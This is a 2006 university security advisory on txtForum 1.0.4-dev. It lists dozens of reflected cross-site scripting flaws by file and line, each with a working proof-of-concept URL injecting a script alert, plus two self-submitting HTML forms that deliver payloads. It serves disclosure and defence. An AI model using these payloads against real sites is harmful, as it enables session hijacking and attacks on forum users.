txtForum: Multiple XSS Vulnerabilities

[enji () seclab tuwien ac at]

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txtForum: Multiple XSS Vulnerabilities
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Technical University of Vienna Security Advisory
TUVSA-0603-003, March 9, 2006
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Affected applications
----------------------

txtForum (http://sourceforge.net/projects/txtforum1)

Versions 1.0.4-dev and prior.


Description
------------

There are multiple cross-site scripting (XSS) vulnerabilities which can be verified by using the following exploits 
(the user needs to be logged in). They are roughly sorted by entry points (i.e., the names of the files that have to be 
navigated). The vulnerabilities were discovered under the assumption that register_globals is on, and that 
magic_quotes_gpc is off.


index.php
-----------

- skins/txtforum/under_topic.tpl, line 11
  (included by index.php on line 99)
  $prev: not initialized if the file "data/headers.txt" does not exist;
  exploit in this case: analogous to line 123 (see below)

- 122:
  $next: not initialized if the file "data/headers.txt" does not exist;
  exploit in this case: analogous to line 123 (see below)

- 123:
  $rand5: is never initialized
  http://localhost/txtforum104/index.php?rand5=";><script>alert('xss_string')</script>


new_topic.php
---------------

- skins/txtforum/topic_form.tpl, line 17
  http://localhost/txtforum104/new_topic.php?r_username=&apos;><script>alert('xss_string')</script>

- skins/txtforum/topic_form.tpl, line 18
  http://localhost/txtforum104/new_topic.php?r_loc=&apos;><script>alert('xss_string')</script>


profile.php
------------

- skins/txtforum/viewprofile.tpl, line 11
  http://localhost/txtforum104/profile.php?mode=viewprofile&nick=admin&r_num=<script>alert('xss_string')</script>

- skins/txtforum/editprofile.tpl, line 18
  http://localhost/txtforum104/profile.php?mode=editprofile&r_family_name=";><script>alert('xss_string')</script>

- skins/txtforum/editprofile.tpl, line 22
  http://localhost/txtforum104/profile.php?mode=editprofile&r_icq=";><script>alert('xss_string')</script>

- skins/txtforum/editprofile.tpl, line 27
  http://localhost/txtforum104/profile.php?mode=editprofile&r_yahoo=";><script>alert('xss_string')</script>

- skins/txtforum/editprofile.tpl, line 31
  http://localhost/txtforum104/profile.php?mode=editprofile&r_aim=";><script>alert('xss_string')</script>

- skins/txtforum/editprofile.tpl, line 35
  http://localhost/txtforum104/profile.php?mode=editprofile&r_homepage=";><script>alert('xss_string')</script>

- skins/txtforum/editprofile.tpl, line 39
  http://localhost/txtforum104/profile.php?mode=editprofile&r_interests=";><script>alert('xss_string')</script>

- skins/txtforum/editprofile.tpl, line 43
  http://localhost/txtforum104/profile.php?mode=editprofile&r_about=";</textarea><script>alert('xss_string')</script>

- skins/txtforum/editprofile.tpl, line 65
  $selected1: works if the user has set $r_hide_email == 0;
  else: use vulnerability below (selected0)
  http://localhost/txtforum104/profile.php?mode=editprofile&selected1=";><script>alert('xss_string')</script>

- skins/txtforum/editprofile.tpl, line 65
  $selected0: works if the user has set $r_hide_email == 1
  http://localhost/txtforum104/profile.php?mode=editprofile&selected0=";><script>alert('xss_string')</script>

- skins/txtforum/editprofile.tpl, line 69
  $signature_selected1: works if the user has set $show_sig == 0;
  else: use vulnerability below ($signature_selected0)
  http://localhost/txtforum104/profile.php?mode=editprofile&signature_selected1=";><script>alert('xss_string')</script>

- skins/txtforum/editprofile.tpl, line 69
  $signature_selected0: if $show_sig == 1
  http://localhost/txtforum104/profile.php?mode=editprofile&signature_selected0=";><script>alert('xss_string')</script>

- skins/txtforum/editprofile.tpl, line 73
  $smile_selected1: if $show_smile == 0
  http://localhost/txtforum104/profile.php?mode=editprofile&smile_selected1=";><script>alert('xss_string')</script>

- skins/txtforum/editprofile.tpl, line 73
  $smile_selected0: if $show_smile == 1
  http://localhost/txtforum104/profile.php?mode=editprofile&smile_selected0=";><script>alert('xss_string')</script>

- skins/txtforum/editprofile.tpl, line 78
  http://localhost/txtforum104/profile.php?mode=editprofile&ubb_selected1=";><script>alert('xss_string')</script>

- skins/txtforum/editprofile.tpl, line 78
  http://localhost/txtforum104/profile.php?mode=editprofile&ubb_selected0=";><script>alert('xss_string')</script>


reply.php
-----------

- skins/txtforum/reply_form.tpl, line 31
  http://localhost/txtforum104/reply.php?quote=</textarea><script>alert('xss_string')</script>

- skins/txtforum/reply_form.tpl, line 43
  http://localhost/txtforum104/reply.php?tid=";><script>alert('xss_string')</script>


view_topic.php
----------------

- skins/txtforum/next_preview.tpl, line 6
  http://localhost/txtforum104/view_topic.php?page=27&tid=&apos;><script>alert('xss_string')</script>

- view_topic.php, line 12
  $tid is echoed at several places:
  http://localhost/txtforum104/view_topic.php?print_adminJS=1&tid=";><script>alert('xss_string')</script>

- common.php, line 15
  parameter of admin_msg is echoed;
  - called from sticky.php, 39:

  <form action='http://localhost/txtforum104/view_topic.php?sticked=<script>alert("xss_string")</script>' method="post">
    <input type="text" name="where" value="sticky"/>
    <input type="submit">
  </form>
  <script type="text/javascript">
    document.forms[0].submit();
  </script>

  - called from delete.php, 63:

  <form action='http://localhost/txtforum104/view_topic.php&apos; method="post">
    <input type="text" name="where" value="deleteme"/>
    <input type="text" name="mid" value="<script>alert('xss_string')</script>"/>
    <input type="submit">
  </form>
  <script type="text/javascript">
    document.forms[0].submit();
  </script>

- view_topic.php, line 244
  $next, via $tid:
  http://localhost/txtforum104/view_topic.php?page=-1&tid=xss_string

- view_topic.php, line 271
  http://localhost/txtforum104/view_topic.php?tid=xss_string

- view_topic.php, line 272:
  $tid: as before

- view_topic.php, line 280
  $tid: as before


Solution
---------

There is no solution to these issues yet.

Timeline:

February 23, 2006:
Vulnerabilities indicated via confy at users dot sourceforge dot net.
Provided detailed report of the vulnerabilities after the author's response.
No fixes are planned.

March 9, 2006:
Advisory submission.


References
-----------

http://www.seclab.tuwien.ac.at/advisories/TUVSA-0603-003.txt


Nenad Jovanovic
Secure Systems Lab 
Technical University of Vienna 
www.seclab.tuwien.ac.at